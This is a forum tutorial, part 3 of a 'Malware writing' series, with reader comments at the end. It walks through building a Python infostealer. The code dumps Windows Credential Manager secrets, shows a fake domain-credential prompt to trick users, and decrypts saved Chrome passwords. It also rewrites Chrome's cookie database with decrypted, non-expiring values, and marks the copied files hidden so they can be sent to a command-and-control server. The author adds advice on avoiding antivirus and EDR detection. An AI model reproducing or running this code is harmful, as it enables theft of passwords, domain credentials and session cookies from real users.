Malware writing - Python Malware, part 3: Stealing credentials and cookies

Keylogging and clipboard monitoring are very useful and probably all we need to capture credentials easily. That said, there might be already saved credentials on the system that we also want to recover. In part 3, we’ll cover some useful and basic techniques to steal credentials and cookies with standard user privileges. This time instead of writing something painfully long and complex with ctypes, we’ll use pywin32 which is a wrapper for the WinAPI. To install it, simply use the pip install pypiwin32 command.

We start by importing the packages and modules we’ll need and create a constant to be used when calling some Credential Manager (also known as CredMan) related functions.

import os
import io
import sys
import sqlite3
import json
import shutil
import win32cred
import win32crypt
import win32api
import win32con
import pywintypes

CRED_TYPE_GENERIC = win32cred.CRED_TYPE_GENERIC

Then, we’ll create a new class called credentials. It won’t need any constructor, it’s simply to differentiate the credentials methods from the cookies methods. Within that class, we’ll start with the dump_credsman_generic() method.

Dumping generic credentials from Windows Credential Manager

That function is meant to dump all generic credentials stored in the Credential Manager. Generic credentials are non-domain type credentials. For example, if you use Git on Windows and you authenticate to GitHub, Bitbucket, Gitlab, etc. the credentials are stored in CredMan. We cannot read domain credentials (CRED_TYPE_DOMAIN) without interacting with LSASS which we want to avoid (source: https://docs.microsoft.com/en-us/windows/desktop/secauthn/kinds-of-credentials).

We start by importing the functions we’ll need to enumerate and read the credentials.

    def dump_credsman_generic():
        
        CredEnumerate = win32cred.CredEnumerate
        CredRead = win32cred.CredRead

Then, we enumerate the credentials stored in credman and put them in the creds variable, which is a tuple.

        try:
            creds = CredEnumerate(None, 0)  # Enumerate credentials
        except Exception:              		# Avoid crashing on any exception
            pass

Now we want to iterate through each credential set (named package here because set is a Python keyword) and add them as individual elements to the credentials list so it’s easier to work with.

        credentials = []

        for package in creds:
            try:
                target = package['TargetName']
                creds = CredRead(target, CRED_TYPE_GENERIC)
                credentials.append(creds)
            except pywintypes.error:
                pass

You might notice two things here. First we’re using a list instead of a dictionary. That’s because the credential blob is in hexadecimal. In Python, octal and hexadecimal formats are not supported by JSON so we use a list as workaround.

The second thing is that we use CredRead(), which returns the same data as CredEnumerate(). The difference here is that CredRead() is used to read a specific package (or set) of credentials while CredEnumerate() just returns everything. We could simply loop through the creds variable, but from what I’ve seen reading some C code using CredMan, CredRead() is the clean way to do it (don’t hesitate to correct me if I’m wrong).

Now it’s time to create an in-memory text stream (to avoid writing a file on disk) that we can later send to our not-yet-built C2.

        credman_creds = io.StringIO() # In-memory text stream

        for cred in credentials:

            service = cred['TargetName']
            username = cred['UserName']
            password = cred['CredentialBlob'].decode()

            credman_creds.write('Service: ' + str(service) + '\n')
            credman_creds.write('Username: ' + str(username) + '\n')
            credman_creds.write('Password: ' + str(password) + '\n')
            credman_creds.write('\n')

        return credman_creds.getvalue()

We first start with creating the credman_creds text stream that will hold the service, username and password. We then iterate through the credentials variable and write the data we want to the text stream, making sure we decode the credential blob so we get the password in plain-text. When done, we simply return the data contained in the text stream.

We can test by editing our main.py file with the following:

import stealer

if __name__ == '__main__':
    
    credstealer = stealer.credentials
    print(credstealer.dump_credsman_generic())

The result:

10103

As you can see above, if there are git keys or passwords stored in there, you can dump them which could give you access to source code that isn’t public.The Microsoft_OC1 TargetName is actually the password for a Skype for Business account, which is the same as the domain password of the user. If the user is also running Outlook 2016, you’ll likely find his domain credentials under MicrosoftOffice16_Data:SSPI:<account>.

14158

Asking for domain credentials with a prompt

As said previously, it’s common nowadays for penetration testers to use Mimikatz to dump credentials from LSASS. The problem is that it gets caught immediately by most EDR and next-gen AVs. If you haven’t been lucky with the keylogging and the credential manager to find the user’s domain password, about just asking for it?

We can try to do some social engineering and trick the user to give us his domain credentials using the CredUIPromptForCredentials() function to display a dialog box asking for them. The function does exactly that and returns the password entered as plain text.

        CredUIPromptForCredentials = win32cred.CredUIPromptForCredentials

        creds = []

        try:
            creds = CredUIPromptForCredentials(os.environ['userdomain'], 0, os.environ['username'], None, True, CRED_TYPE_GENERIC, {})
        except Exception:   # Avoid crashing on any exception
            pass
        return creds

Here we use the environment variable userdomain to display the target. If the user is on the domain CONTOSO.LOCAL, the prompt will ask to enter credentials for the user on domain CONTOSO-LOCAL, which is the name returned by userdomain.

23629

As you can see below, the method returns the credentials entered in plain text.

20184

Dumping passwords saved in Chrome

Chrome is the browser with the most marketshare so it will naturally be a prime target. Every single piece of stealer malware I’ve seen steals passwords from Chrome because, to be honest, it’s really easy. If you don’t set a master password when saving your credentials, the encrypted blob in the Login Data database can be decrypted with the CryptUnprotectData as long as its done in the current user context. This means that you can’t just grab the database and open it on a different machine with a different user.

Chrome passwords are stored in a SQLite database called Login Data located in the %localappdata%\Google\Chrome\User Data\Default\ directory. The structure of the database can be seen here using DB Browser, an open source database tool for SQLite.

21969

There are three relevant fields here that we’ll want to query for: action_urls, username_value and password_value. The field password_value contains an encrypted blob that we will decrypt with the code below.

First, we want to make a local copy of the database file, otherwise, if Chrome is currently running, it will have a handle on it and the database will be locked. Alternatively, we could use WMI to query the running processes and wait for Chrome
to stop running but that could take a long time.

        try:
            login_data = os.environ['localappdata'] + '\\Google\\Chrome\\User Data\\Default\\Login Data'
            shutil.copy2(login_data, './Login Data') # Copy DB to current dir
            win32api.SetFileAttributes('./Login Data', win32con.FILE_ATTRIBUTE_HIDDEN) # Make file invisible during operation
        except Exception:
            pass

	chrome_credentials = io.StringIO() # In-memory text stream

We use basic exception handling to avoid crashing the program if one occurs. If you need to troubleshoot issues with sqlite3, use sqlite3.Error to get the details. Then we create a in-memory text stream that will contain the dumped credentials to avoid writing a file on disk.

Now, we have to open the local copy of the Login Data database with the sqlite3 library and query for the credentials that were saved by the user.

        try:
            conn = sqlite3.connect('./Login Data', )                                        # Connect to database
            cursor = conn.cursor()                                                          # Create a cursor to fetch the data
            cursor.execute('SELECT action_url, username_value, password_value FROM logins') # Run the query
            results = cursor.fetchall()                                                     # Get the results
            conn.close()                                                                    # Close the database file so it's not locked by the process
            os.remove('Login Data')                                                         # Delete file when done as the results are in a variable.

This is an easy and simple example on how to query a SQLite database with Python but it can be very useful. Later, when dealing with Chrome cookies, we’ll also update the data in the database. Now that our variable results contains the results of the query, which are the urls, usernames and encrypted passwords, we can loop through those results and decrypt the passwords with the WinAPI function CryptUnprotectData and append them to our in-memory text stream.


            for action_url, username_value, password_value in results:        							                                 
                password = win32crypt.CryptUnprotectData(password_value, None, None, None, 0)[1] # Decrypt the password with CryptUnprotectData
                if password:                                                                		 # Write credentials to text stream in memory
                    chrome_credentials.write('URL: ' + action_url + '\n')
                    chrome_credentials.write('Username: ' + username_value + '\n')
                    chrome_credentials.write('Password: ' + str(password) + '\n')
                    chrome_credentials.write('\n')
            return chrome_credentials.getvalue()                                            		 # Return content of the text stream

        except sqlite3.OperationalError as e: # Simple exception handling to avoid crashing
            print(e)                          # when opening the Login Data database
            pass

        except Exception as e:                # Avoid crashing for any other exception
            print(e)
            pass

We use CryptUnprotectData to decrypt the blob because Chrome on Windows uses the CryptProtectData WinAPI function to encrypt them (reference: https://chromium.googlesource.com/chromium/chromium/+/master/chrome/browser/password_manager/encryptor_win.cc). As you can read on MSDN regarding CryptProtectData, The CryptProtectData function performs encryption on the data in a DATA_BLOB structure. Typically, only a user with the same logon credential as the user who encrypted the data can decrypt the data. In addition, the encryption and decryption usually must be done on the same computer. For information about exceptions, see Remarks. This is why we need to decrypt the data locally and in the same user context.

Now, we can test the method by modifying our main.py to call it.

import stealer

if __name__ == '__main__':

    credstealer = stealer.credentials
    print(credstealer.dump_chrome_passwords())

Then we run main.py and…

8401

Stealing Chrome cookies

Chrome cookies are managed the same way as passwords. They are stored in a database file called Cookies and are encrypted with CryptProtectData. So the decryption will be done the same way. However, there are two differences here. First, we rewrite the data inside the database with the decrypted cookies instead of writing them in a file. Second, this we steal the whole database file with the decrypted cookies. This database can then be uploaded to a remote server and used for authenticating in the sites visited by the user if the session has not expired on the server side or if the user has not signed-out.

        login_data = os.environ['localappdata'] + '\\Google\\Chrome\\User Data\\Default\\Cookies' # Path to Cookies database file
        shutil.copy2(login_data, './Cookies')                                                     # Copy DB to current dir
        win32api.SetFileAttributes('./Cookies', win32con.FILE_ATTRIBUTE_HIDDEN)                   # Make file invisible during operation

        try:
            conn = sqlite3.connect('./Cookies')                                                   # Connect to database
            cursor = conn.cursor()
            cursor.execute('SELECT host_key, name, value, encrypted_value FROM cookies')          # Run the query
            results = cursor.fetchall()                                                           # Get the results

            # Decrypt the cookie blobs
            for host_key, name, value, encrypted_value in results:
                decrypted_value = win32crypt.CryptUnprotectData(encrypted_value, None, None, None, 0)[1].decode()
            
                # Updating the database with decrypted values.             
                cursor.execute("UPDATE cookies SET value = ?, has_expires = 1, expires_utc = 99999999999999999,\
                                is_persistent = 1, is_secure = 0 WHERE host_key = ? AND name = ?",(decrypted_value, host_key, name));

            conn.commit()   # Save the changes
            conn.close()    # Close the database file so it's not locked by the process

        except Exception as e:  # Avoid crashes from exceptions if any occurs.
            print(e)
            pass

    # Then, after this function is called, we would exfiltrate the database and delete it.

Don’t forget that using cookies by themselves however does not always work. Sessions might be tied to additional information such as user-agent, IP address, referrer, etc. so we have to gather as much information as we can on the user and the host first. This will be covered in part 4 where we’ll build a simple module to collect system information and set up a command and control server using GitHub so we can hide the traffic in plain sight.

Now let’s see if building an executable that dumps credman and Chrome passwords triggers detections…

24086

Nope. But to be fair, it doesn’t do much right now. That said, credential dumping in user space with standard privilege rarely gets detected. That’s because, even for heuristics, it’s hard to determine if access to credential manager or not is for malicious purpose as many legitimate applications use it to “securely” store credentials. If you don’t try to escalate privileges and dump LSASS, it’s unlikely that you’ll be detected.

The full code with useful comments can be found here:

23 Likes

Errors out saying: local variable creds is referenced before assignment !
My code is exact as in the article;
This is pertaining to the generic dumping oly…Not the latter half of the article :slight_smile:

I don’t have that error. What version of Python are you using? Are you running it with PyInstaller? If so, show the full debug output. My guess is that you need an hidden import which you have to compile it with, probably win32timezone.

thanks a lot @tr4cefl0w these are really great in depth tutorials you’re making.

1 Like

Thanks! I’m trying to make them easy to understand for beginners. They could be even more in depth and painfully long if we were doing everything with ctypes :joy:

well, i’m a beginner. so thanks again

1 Like

Feel free to message me directly if you ever have any questions.

1 Like

where is the first and second topic?

Have you ever heard of Google? Or thought of clicking on my profile? :wink:

This topic was automatically closed after 30 days. New replies are no longer allowed.